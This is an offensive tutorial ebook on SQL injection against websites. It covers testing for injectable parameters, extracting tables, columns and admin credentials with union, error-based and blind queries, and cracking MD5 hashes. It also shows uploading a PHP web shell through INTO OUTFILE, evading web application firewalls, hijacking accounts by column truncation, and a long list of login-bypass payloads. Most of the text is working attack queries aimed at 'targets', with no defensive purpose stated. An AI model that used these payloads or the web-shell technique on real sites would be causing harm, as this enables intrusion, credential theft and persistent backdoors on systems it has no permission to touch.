26
MX ULTIMATE SQL INJECTION TUTORIAL

Utilmate-eBook-About-SQL-Injection

Embed Size (px)

DESCRIPTION

How to find SQL vunls in a website.

Citation preview

Page 1: Utilmate-eBook-About-SQL-Injection

MX ULTIMATE SQL INJECTION TUTORIAL

Page 2: Utilmate-eBook-About-SQL-Injection
Page 3: Utilmate-eBook-About-SQL-Injection

Finding out if your target is vulnerable.

The first thing we have to figure out is, ‘when is a site vulnerable to SQL injection or not?’

We can do this a few ways, depending on what kind of SQL injection types we know.

Some examples for how to figure out if it’s vulnerable or not to basic SQLi:

Place an ‘ behind the last part of the URL.

If you get something similar to the following errors:

You have an error in your SQL syntax

Warning: mysql_fetch_array():

Warning: mysql_fetch_assoc():

Warning: mysql_numrows():

Warning: mysql_num_rows():

Warning: mysql_result():

Warning: mysql_preg_match():

Or anything similar to this, it IS vulnerable to SQL Injection , about 95% of the time, you will face

common errors as well.

There are more ways to tell if it’s vulnerable. If it doesn’t throw out an error on simple SQL

injection attacks: that’s by checking if images or other things are missing on the page,

sometimes when the SQL error’s out it will be unable to call certain images and they won’t

show, this is a great example to see if it’s vulnerable too, if your page is missing text / has

less displayed than before.

So keep your eyes open to see if your target is SQL injectable.

Page 4: Utilmate-eBook-About-SQL-Injection

Exploiting a simple SQL vulnerability.

As this covers the first part, you will always want to start off with the most absolute BASIC of SQLi.

Ways of exploiting common SQL injection points:

Find out if it’s vulnerable (Check Chapter 1)

Next what we want to do is know how many columns we are working with on their current

database to extract information that we want.

There are multiple ways to check how many columns there are for SIMPLE SQL injection.

1. Order by

2. Procedure analyze

3. Group by

Example: If we use group by a certain number, and its wrong it will state: Unknown column

“21” in group count – however if it’s the right amount of columns it will spit out: Can’t

group on “count”

Order by will work as follows, let’s say we have a vulnerable site that has 20 columns.

www.site.com/view.php?id=25 order by 19—will show the page, still no errors.

www.site.com/view.php?id=25 order by 20 – will show the page still…

www.site.com/view.php?id=25 order by 21 – This can give multiple errors like:

Unknown column “21” in ‘order’ clause

Now that we figured out how many columns our target has, we can start exploiting it.

We want to explore which number(s) are showing up on the page.

We will do that by the following query:

www.site.com/view.php?id=25 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

With the query we just entered, numbers may or may not pop up on the page. If none pop up, first

thing we will do is check out the source of the page, and search for numbers. If you’re not certain if

that’s just a number from the website itself or our query, do the following:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,16,17,18,19,20—

We are telling the server that 1 equals 0, which in mathematical terms is not true, which forges our

query to return false, which will then error out our request, in 90% of the occasions it will now

show your columns.

Now that you found the column numbers on the page itself, pick a number which you find the

easiest to see / find on the website (that pops out of the page at you).

Page 5: Utilmate-eBook-About-SQL-Injection

Let’s say in the example I have chosen the version of the MySQL they are running on is 5.

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20—

This query will show us the exact version of MySQL they are running which is fairly important,

since MySQL comes mostly in 2 flavours, either version 4 or 5 (yes there are lower versions, but

finding those is like finding a needle in a haystack), A quick explanation on that, 4 has no

information_schema table. Therefor you either have to guess table / column names, or you would

have to brute force them with a wordlist or something similar.

Now to exploit our site:

We need to know what tables our target database has, for that query we can use

information_schema 90% of the time (unless you’re on MySQL 4), to do so we use the following

query:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19 from

information_schema.tables—

In this query we used concat which is a statement in SQL that “concatenates” the amount that’s in

the table / columns.

We have the following functions to grab all the data from either a table or column:

1. Concat

2. Concat_ws

Concat_ws stands for concat with separator, which is able to use as following:

Concat_ws(‘:’,username,password) This function will put our separator the : sign between

every upcoming column / table we select.

3. Group_concat

Group_concat will return all strings within a certain group.

As we do this query it may result in showing all of the table names from a certain database or it

might just show you 1 out of all of them, or it might show a really big mess.

Therefore we will change the query to make sure we can view it as best as possible:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,concat_ws(‘:’,table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from

information_schema.tables—

Which results in showing the table names with a little separator sign, therefore easier to read.

What if you CAN’T view all of the tables? There are a few tricks for this:

1. Limit (Limit says what it does and limits it to the users request, to use this in a query we

use it as: LIMIT 1,1-- , at the end of the query we did. This will show your table names 1 by

1, and can be used for any table / column or data you try it on. By increasing the first

Page 6: Utilmate-eBook-About-SQL-Injection

number to a larger one like 2,1 3,1 4,1 etc we will see the table / column / data that’s on

the 2nd row or more.

Now that we know our tables name’s you might find something like users, or maybe something

like admin, now we want to see all the columns within that certain table, we do that with the

following query:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,concat_ws(‘:’,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from

information_schema.columns where table_name=’admin’—

What we did here is, we requested all the columns in the admin table, from information_schema

as that table holds an internal map of the database (tables / columns etc.)

Doing it like this might give you an error because of the php settings for the server (hosting admin),

if magic quote’s is on we will need hex encoding to bypass it.

What we need:

http://www.swingnote.com/texttohex.php

We simply put in the name of the database we want, which was ‘admin’ in the example.

Which will output for us: 61646d96e

However for this to work 100% we need to add: 0x before our numbers. Which would result in this

query:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,concat_ws(‘:’,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from

information_schema.columns where table_name=0x61646d96e—

Now that it’s showing all of the information from the table, and we know which columns we are

working with, we want to get to the data they store!

In my example we will use the following:

ID – Admin – Name – Fullname – Password – Email

As you see we want a certain amount of info from that table, personally I would go for Admin and

Password, which we use the following query to obtain:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,concat_ws(‘:’,Admin,Password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from Admin—

Which will tell the server that we are requesting the data stored in the ‘Admin’ table, outputting

something similar to this:

Admin: 21232f297a57a5a743894a0e4a801fc3

Some of you might be confused now, but the passwords is encrypted with MD5, therefore we can

Page 7: Utilmate-eBook-About-SQL-Injection

use either public or private md5 crackers. Either online or programs, I will show you 1 of my

favorite websites to crack with:

www.md5decrypter.co.uk

If we entered the hash we will see that our Administrators information is:

Username: Admin – Password: admin

Now to hack further into it, you will need to scan the website or guess to find the admin panel,

HINT: Some website have older database’s that are just out of use so the password MIGHT not

always work.

Tips & Tricks making your numbers visible:

1. 1=0

2. 1=2

3. DIV by 0

4. 99999999

5. Using the – sign before the number

Page 8: Utilmate-eBook-About-SQL-Injection

What sign to use?

This might sound weird, but in SQL we use a lot of sign’s, as for our query to work the signs may

differ.

A list of sign’s you can use to make your SQL Injection to work.

1. - - (Normally used in basic SQL Injections)

2. /* (Used to bypass magic quote’s)

3. –+- (Used in string based SQL Injections)

4. a)b) (Used in blind SQL Injection mostly, as well for Error based)

5. # (Used in error based SQL Injections)

6. -- -- (Used in User Agent SQL Injections)

7. – a (Used in WAF Bypass)

Now: To figure out which to use?

Some websites will have ‘magic quotes’ on which will filter some characters. Which will make our

injection a little bit harder.

Page 9: Utilmate-eBook-About-SQL-Injection

INTO OUTFILE uploading your shell with MySQL Injection.

This is not used a lot, but if you find a target that’s either the root user, or a user granted with root

permissions, and they have the privileges we will be able upload a shell with MySQL Injection.

I will explain it step by step.

1. Find out if its root user (we do that by using user() in our vulnerable column).

2. If its root user, we have to check privileges of the user.

3. We have to find the full path of the current user.

4. We have to test if the server has ‘magic quotes’ on or not (IMPORTANT!).

5. Take over time :D.

So let’s explain it some more: First we need to find out if our user is the root we do that with the

following query:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,user,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from mysql.user—

So in my example I am currently the root user, I’m like ‘yay cool’, but we aren’t there yet my young

Padawans!

Now that we know its root, we check their privileges by using the following query:

www.site.com/view.php?id=25 and 1=0 union all select

1,2,3,4,concat_ws(‘:’,user,file_priv),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20—

If it results in the output:

Root:Y

Then we have a bingo, and we will be able to use INTO OUTFILE to upload a shell, now lets

continue and see if we can find the FULL PATH to upload a shell on, (The Full path is important as

an user is bound to a certain path with their site)

Sometimes we can get lucky getting the full path, but not all SQL errors will spit it out.

Tip & Tricks to spit out Full Path Disclosure:

1. Use [] before the = sign, this will error out as its not valid.

2. If that doesn’t work, try with either tamper data / livehttpeditor / cookie editor to edit

your PHPSESSIONID or COOKIE to 0, then refresh it (As the session / cookie won’t be valid

it will yet again error out).

Now that we found full path, we can try and upload a BASIC php shell to execute commands for us,

we do that by using INTO OUTFILE. Let me show you a quick example:

www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,”Hello

world”,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE /home/mx/public_html/hello.php--

Page 10: Utilmate-eBook-About-SQL-Injection

If we are allowed to create a new file in that directory it will now have created hello.php on our

www.site.com.

As my full path is: /home/mx/public_html

Common errors:

1. Error code 13 (The directory where you are trying to create a new file in is not writeable

(777)).

2. Error code 2 (Wrong path)

Now to upload a shell we use this basic code to upload with:

<?php system($_GET*‘cmd’+); ?>

So our query would look like:

www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4, “<?php system($_GET*‘cmd’+);

?>”,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE “/home/mx/public_html/shell.php—

If the page returns without error code 13 or 2, or any other error code it should been uploaded.

We can check by going to it and entered ?cmd=ls –la like the following:

www.site.com/shell.php?cmd=ls –la

This should show us the current directory and files within.

But there wasn’t an error and my shell is still not there?

Well then in that case we would have to use Acunetix, to do a SIMPLE folder scan, and we change

our paths to whatever folder shows up, imagine they have a /images folder, then we just add

/images to our path.

Magic quote’s is on and I can’t upload my shell?!

No worries we can bypass that using CHAR(), some sites with ‘magic quotes’ on will filter out <? Or

?> sign’s when uploading a shell, only CHAR will work, by either using HACKBAR to put <? And ?>

into CHAR(60,63) AND CHAR(63,62)

This will result in the following query:

www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4, CHAR(60,63)

“system($_GET*‘cmd’+); “ CHAR(63,62),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE

“/home/mx/public_html/shell.php—

Page 11: Utilmate-eBook-About-SQL-Injection

String Based SQL Injection

Well as we have covered the basic types of SQL injection. It’s time to go over to Error based, as the

name states we will use error’s to output the results we want.

How do you know if it’s vulnerable to Error based SQL Injection?

1. The use of select statements have different numbers of columns. (You will keep getting this

error).

Testing if your site works: Error based is fairly easy we do that with the following query:

www.example.com/page.php?id=1 order by 10—no error

www.example.com/page.php?id=1 order by 50—still no error?

www.example.com/page.php?id=1 order by 10000—no error still grumble right?

Now that we know we are working with error based we change our query just a little bit into:

www.example.com/page.php?id=1’ order by 10--+- Error!!!

By adding the ‘ sign behind the url, and adding the + sign between.

Now that you know this, remember this trick well, this is commonly used behind named pages

such as:

www.example.com/category.php?id=MXHERE

A lot people would be confused and be like “that’s not vulnerable” yet it happens a lot of the time.

Page 12: Utilmate-eBook-About-SQL-Injection

User agent based SQL Injection

This trick is such an underdog in the SQLi world, it’s unbelievable.

What we want to do is find a site that keeps hold of user agent’s and spits them out. A normal

Firefox User Agent would look something similar to:

Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201

Now what we want to do is create an error, it’s slightly different because you’re working with User

Agents, but never the less fairly easy to do.

Tools aviable for use:

1. Live HTTP Headers (Firefox add-on)

2. Tamper data (Another Firefox add-on)

I will keep these 2 as the main prospects as they are the easiest way to use.

In my example I will use Tamper Data to work with our user agent, as it’s the easiest one to use.

Steps:

1. Open up tamper data.

2. Reload your target site.

3. Tamper the request.

4. Edit the user agent.

Now we edit our user agent just like we would add the ‘ sign in a normal SQL situation.

We edit our user agent to: ‘

Now most likely you will get an error (check back to chapter 1 for which errors).

Now to check the amount of columns we do the following:

User-agent: ‘ union select 1-- -- (Note the double – signs, make sure you have those!)

Now we keep going on, until we see results (numbers should show at some point)

With my example it will show at column 2.

Now all you have to do is follow Chapter 1 again, slightly different, but you get the point.

Page 13: Utilmate-eBook-About-SQL-Injection

Waf & Waf Bypassing

Let’s explain firstly what WaF stands for and what it actually does for a website / server.

Waf is short for: Web Application Firewall, its purpose is to filter out a lot of our queries

characters.

An example of a normal website we would inject on would look like:

www.exmample.com/page.php?id=1 and 1=0 union all select 1,2,3,4,5--

If we do that with a WAF protected website will we get thrown out with a 403 FORBIDDEN error,

or the 404 not found error.

Now that you know what a WAF is and what it does, I will show you some tip’s / tricks to bypass it.

Comments used to bypass:

//

--

/**/

#

--+

-- -

;%00

-- a

Now for bypassing some WaFs, the exploiting is quite similar to basic SQL injection, yet you have

filters now that you have to bypass, here are a few queries that CAN bypass (It’s never 100%).

page.php?id=1/*!UnIoN*/SeLeCT (In this case we use /! As they are used as inline MySQL

comments (sort of php like) and we work with lower case and upper case letters to bypass

it as well).

page.php?id=1+UNIunionON+SeLselectECT+1,2,3,4,5— (In this case we use the double text,

its seems rather weird but what it does, if a filter detects the union select, and the filter

has preg_replace(php function) to replace our union select with a space (or nothing), it will

still show like:

UNION SELECT 1,2,3,4,5--

page.php?id=1%252f%252a*/UNION%252f%252a /SELECT (In this case we are using HTTP

encoding (hence the %252f etc signs, to DOUBLE bypass certain WAF’S (this method works

only on 10-15% of the sites I’ve personally tested on))).

Page 14: Utilmate-eBook-About-SQL-Injection

Putting it all together:

www.exmample.com/page.php?id=1 /*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM

/*information_schema*/.tables--

Which will result showing all the table names, just as Chapter 1.

The rest of the exploiting you have to figure out yourself, I gave you the handles for WAF

bypassing, a hacker has to do everything on his own to really master / learn something they want,

all this does is tickle your brain.

Tips & Trick bypassing more:

1. id=1+(UnIoN)+(SelECT)+

2. id=1+(UnIoN+SeLeCT)+

3. id=1+(UnI)(oN)+(SeL)(EcT)

4. id=1+'UnI''On'+'SeL''ECT'

5. id=1+%55nion all /*!12345%53elect*/ 1,version(),3—

6. id=1+UnIoN+SeLecT 1,2,3—

7. id=1+UnIOn/**/SeLect 1,2,3—

8. id=1+UNIunionON+SELselectECT 1,2,3—

9. id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—

10. id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—

11. id=1+%23sexsexsex%0aUnIOn%23sexsexsex%0aSeLecT+1,2 ,3—

12. id=1+un/**/ion+sel/**/ect+1,2,3--

13. id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3

14. id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--

15. id=1+/**/union/*&id=*/select/*&id=*/1,2,3--

It’s only important to use these queries as weird as they look right now at the start of the query,

meaning, the rest of the query you could try normal like:

www.example.com/page.php?id=1 id=1+(UnIoN)+(SelECT)+1,2,username,4,5 from users--

Page 15: Utilmate-eBook-About-SQL-Injection

The unknown 500 server error bypass.

A lot of you might not know that 500 server errors fall under WAF bypassing, it’s simply a

technique used, we will use a certain amount of characters to bypass the filters.

Example:

index.php?id=-1 and (select 1)=(Select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) /*!UNION*/

/*!SELECT*//**/1,2,3,4,5,6—x

The query looks quite big, the A = 1000x, to bypass common filters.

Page 16: Utilmate-eBook-About-SQL-Injection

Error based SQL Injection

The name basically already spits it out; we will use an error to get the data we want from a certain

database / table / column.

First I will set you off with the queries used, then I will explain how to use, and what response you

can get from that.

1. page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(ver

sion()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+fro

m+information_schema.tables+group+by+x)a)

2. page.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)

+or+1—

3. +and+(select+count(*)+from+(select+1+union+select+null+union+select+!1)x+group+by+co

ncat((select+table_name+from+information_schema.tables+where+table_schema=databa

se()+limit+0,1),floor(rand(0)*2)))—

4. page.php?id[]=(@:=1)||@+group+by+concat((select+table_name+from+information_sche

ma.tables+whe?re+table_schema=database()+limit+0,1),0x7e,!@)+having+@||min(@:=0)-

-

5. page.php?id=1+and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),0x7e,(select+

table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1

))x+f?rom+information_schema.tables+group+by+x)a)—

6. +and+row(1,1)>(select+count(*),concat((select+table_name+from+information_schema.ta

bles+where+table_schema=database()+limit+0,1),0x7e,floor(rand(0)*2))x+from+(select+1+

uni?on+select+null+union+select+!1)x group+by+x+limit+0,1)—

7. +and+(select+*+from+(select+*+from+information_schema.tables+join+information_sche

ma.tables+x)a)—

What we are basically doing is using 2 queries within 1 to cause an error to display our webpage,

spitting out the info we want.

How it works out:

www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+co

ncat(cast(version()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x

+from+information_schema.tables+group+by+x)a)

In this query we are requesting the version() of the server, now to actually exploit it we will enter:

www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+co

ncat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=d

atabase()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

If you look closely, we are requesting the database name, in error based SQL Injection you will see

it spits out the following:

Page 17: Utilmate-eBook-About-SQL-Injection

Duplicate entry 'activate~1' for key 'group_key'

Please note that this is a real example, which means in this case that “activate” is 1 of the current

tables, as we perform error based SQL Injection, we have to remove the ~1 sign’s.

Now to move up the tables to view them all, we would like to see them 1 by 1 we change the LIMIT

in the query to 1,1 or higher to 2,1 3,1 etc. till you are out of tables.

www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+co

ncat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=d

atabase()+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Moving the LIMIT up, which we learned earlier in this eBook, will show you the rest of the tables in

my example:

Duplicate entry 'banners~1' for key 'group_key'

Now we want to move along and gather as much info as possible about our target.

Tips & Tricks:

1. Websites in different languages use other names to keep their valuable data.

A small list of usernames / passwords that are kept in a other language:

Polish – Username: Nazwa – Password: haslo

Spanish: Username: Usuario(s) Password: contraseña

Dutch: Username: Gebruikersnaam Password: wachtwoord

This list can be endless but you get the main idea, how to figure out which table / column you have

to request info from to get what you want!

Now that we know which databases there are, in my case its Users with uppercase U (important in

MySQL that you keep any seen UPPERCASE or lowercase).

We want to extract the data. To do this we use the following query:

www.example.com/.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(

cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0xT

ABLEHEX+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

As we spoke before about using HEX encoding to get data from the database, we will have to use

hex in this query behind the 0x to get the FIRST column from our table, as you can see we will be

working with LIMIT yet again, so you know the drill, hit it up.

My query used:

www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+co

ncat(cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name

=0x7573657273+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Page 18: Utilmate-eBook-About-SQL-Injection

0x7573657273 – That is users in hex encoding, wich gave me the following result:

Duplicate entry 'id~1' for key 'group_key'

Now we use the LIMIT to go up until we find the column information we want, In my case I found

the following columns:

Id

Username

Password

Now to extract these values we will use the following query:

www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+co

ncat(cast(concat(id)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information_

schema.tables+group+by+x)a)

Now it is important to note that I highlighted the parts you have to edit, in my query it looks like

this:

I know that “ID” is a column in the table users.

I know that “users” is the database that my target is using, and where I want to get info from.

And last but not least we use the 0,1 to scoop up the other ids as well.

Now to get all the info from ID number 1 (probably the admin user), we will use the same query

but now with more than only “ID” in the query like this:

www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+co

ncat(cast(concat(id,0x3a,username,0x3a,password)+as+char),0x7e))+from+users+limit+0,1),floor(r

and(0)*2))x+from+information_schema.tables+group+by+x)a)

Make note that I’m using 0x3a which is hex encoding for the : sign, to keep the query nice and easy

to see, the whole query results with this:

Duplicate entry '1:lammertw:0c5dbe3017f2dc6755933adb45735086~1' for key 'group_key'

Now as I noted before, remove the ~1 and you got all the info like this:

ID – Username – Password (Encrypted in MD5(Read back if you don’t remember how to decrypt it).

Well done, now you have mastered a small proportion of Error based MySQL.

Page 19: Utilmate-eBook-About-SQL-Injection

SQL column truncation injection.

This is even fairly unknown to most hackers, this vulnerability will allow us to duplicate a certain

user account, making it overwrite the password of the current user.

How does it work?

Let’s say you have a website with a user registration form, you view the member list and you see

there’s a user called “admin”. We would like to be admin ourselves, therefore we will try and

overwrite his current passwords by creating a new account with the same name.

Confused? Let’s explain it some more.

Tools needed:

Firefox

Firebug

Now let’s go ahead and go to the register form of the website (this method works about on 10-20%

of targets).

Once you see the registration form open, and you can enter a username password and maybe an

email we will open firebug, and inspect the “username” form, and check out if the admin has set a

MAX digit for the user name, like 10 characters at max?

Let’s say our target has defined 8 chars as a username limit, we won’t be able to exploit SQLi on it

right? Now that we know it only has 8, we can go on and exploit it to do so we use the following

username:

admin x

admin = 5 chars, and 3x a space = 8 characters, and the x to confuse the MySQL database.

When successfully registered, we should be able to login as his admin account, with full privileges.

Page 20: Utilmate-eBook-About-SQL-Injection

Blind based SQL Injection.

It’s called blind SQL Injection as the webpage will not output any of our vulnerable columns.

How to check if you are working with blind SQL Injection:

1. AND 1=1—(This should receive the same page properly)

2. AND 1=2—(As this is obviously not true, it should not properly load page, or not loader

page at all)

Remember! It can be as little as a picture not loading, or a small amount of text is

missing!

Exploiting our target, as my target has just failed to load certain text that was there before after

submitting my 1=2—query.

First we will check the MySQL version they are running (IMPORTANT!)

www.example.com/page.php?id=1 +AND substring (@@version, 1,1)=5

Let me break it down for you:

* Substring: were using substring to break up the data into a true/false situation meaning IF

the first digit in the query response is "5" then we know that the version is greater than or equal to

version.

If we get an error page on this it means our version is 4 or less, we can check it by changing the

digit “5” to 4.

Now for exploiting our target, and revealing the database’s within.

First off we want to know which tables it has, as my version = MySQL 5 I know there is a

information_schema available!

www.example.com/page.php?id= 1/**/and/**/ascii(substring((select table_name from

information_schema.tables where table_schema=database() limit 0,1),1,1))>50

Now to gain the database names, we will have to do this 1 by 1, and use an ASCII chart to change

our numbers to > letters with :) .

The one I use for this is:

http://www.asciitable.com/

Now to exploiting our targets database I will lay out some queries all in a row and then explain

them.

Page 21: Utilmate-eBook-About-SQL-Injection

/**/and/**/ascii(substring((select table_name from information_schema.tables where

table_schema=database() limit 0,1),1,1))=109 ( M )

/**/and/**/ascii(substring((select table_name from information_schema.tables where

table_schema=database() limit 0,1),2,1))>120 ( X )

/**/and/**/ascii(substring((select table_name from information_schema.tables where

table_schema=database() limit 0,1),3,1))>84 ( T )

/**/and/**/ascii(substring((select table_name from information_schema.tables where

table_schema=database() limit 0,1),4,1))>117 ( U )

/**/and/**/ascii(substring((select table_name from information_schema.tables where

table_schema=database() limit 0,1),4,1))>84 ( T )

Which comes out in: mxtut

I have highlighted the 0 for a purpose, as you might remember, we are using LIMIT meaning we

show 1 table a time, and this might be unlucky and a table where there is no admin info inside,

therefore you have to increase the number when you want to make sure you have all the info you

wanted.

Now it’s time to guess a bit, or you can Google up well known usernames for certain CMS.

As we know our table name, we just need to start guessing the columns within the table (well sort

of) as we will still compare with the database if our query = true if so it will show you.

/**/and/**/(SELECT substring(concat(1,user),1,1) from mxtut limit 0,1)=1 false

This showing us that “user” is not a column in mxtut!

/**/and/**/(SELECT substring(concat(1,id),1,1) from mxtut limit 0,1)=1 Its true..

This showing us that “id” is found in mxtut!

/**/and/**/(SELECT substring(concat(1,username),1,1) from mxtut limit 0,1)=1 Its true..

This showing us that “username” is also a column in mxtut table!

/**/and/**/(SELECT substring(concat(1,name),1,1) from mxtut limit 0,1)=1 false

/**/and/**/(SELECT substring(concat(1,users),1,1) from mxtut limit 0,1)=1 fasle

/**/and/**/(SELECT substring(concat(1,pass),1,1) from mxtut limit 0,1)=1 Its true..

Yay that means we have all the info we need to properly request the ID – Username &

Password from our database!

Page 22: Utilmate-eBook-About-SQL-Injection

/**/and/**/(SELECT substring(concat(1,password),1,1) from mxtut limit 0,1)=1 false..

So now that we found ID – Username – Password we can continue extracting the data and we do

that with the following queries:

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),1,1))=109 M

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),2,1))=120 X

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),3,1))=84 T

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),4,1))=117 U

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),5,1))=84 T

Which results in: mxtut

So now that we know that the username used is mxtut we can use the same query by simply

changing username into password

/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),1,1))=109 M

/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),2,1))=120 X

/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),3,1))=103 G

/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),4,1))=111 O

/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),5,1))=100 D

Which results in: mxgod

Where our end results in successfully gaining username and password with blind SQLi!

Userame: mxtut

Password: mxgod

Page 23: Utilmate-eBook-About-SQL-Injection

Bypassing logins

These are quite old, but still very useable these days, as I am still using this almost daily on certain

CMS’es.

Cheat list:

') OR ('a' = 'a

') OR ('1'-'1

'or''='

' OR '1=1

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 *

" or 0=0 *

or 0=0 *

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

' or 1=1--

or a=a--

' or 1=1--

1' having '1'='1'--

' or 'x'='x--

Page 24: Utilmate-eBook-About-SQL-Injection

foo'+OR+'1'='1

Simply use this on login forms (either both username or password, or a username, and a password

like our injections above :) ).

MsSQL Injections

The first thing we need to figure out is, when is a site vulnerable to SQL injection or not?

We can do this a few ways, depending on what kind of SQL injection attack vector we have.

Some examples how to figure out if it’s vulnerable or not for basic SQLi:

Place an ‘ character behind the last part of the URL.

If you get something similar to the following errors:

Microsoft Access ODBC drive

Open quotation

Microsoft Amos DB provider for Oracle

Division by zero in

Now that we found our target, and we had the following error after our query:

www.asp.net/page.asp?id=563’

We got an error like:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query

expression 'id=563' ;'.

/en/includes/configdb.asp, line 23

Now that we see that we created an error, we want to make sure it’s vulnerable. Not all errors are a sign of a injection point. Let’s continue our test by using the following query behind the number: +AND+ 1=1# Making it look like: www.asp.net/page.asp?id=563+AND+1=1#

As we spoke before about the signs I’m only going to explain what ‘and 1=1’ is for, you know math

(I hope haha). We simply check if 1 is equal is 1 if that’s true, it should show the page normally

Now we want to know if 1 equaling 0 is any problem for our target?

www.asp.net/page.asp?id=563+AND+1=0#

Page 25: Utilmate-eBook-About-SQL-Injection

At my end it spilled out the following error:

ADODB.Field error '800a0bcd'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

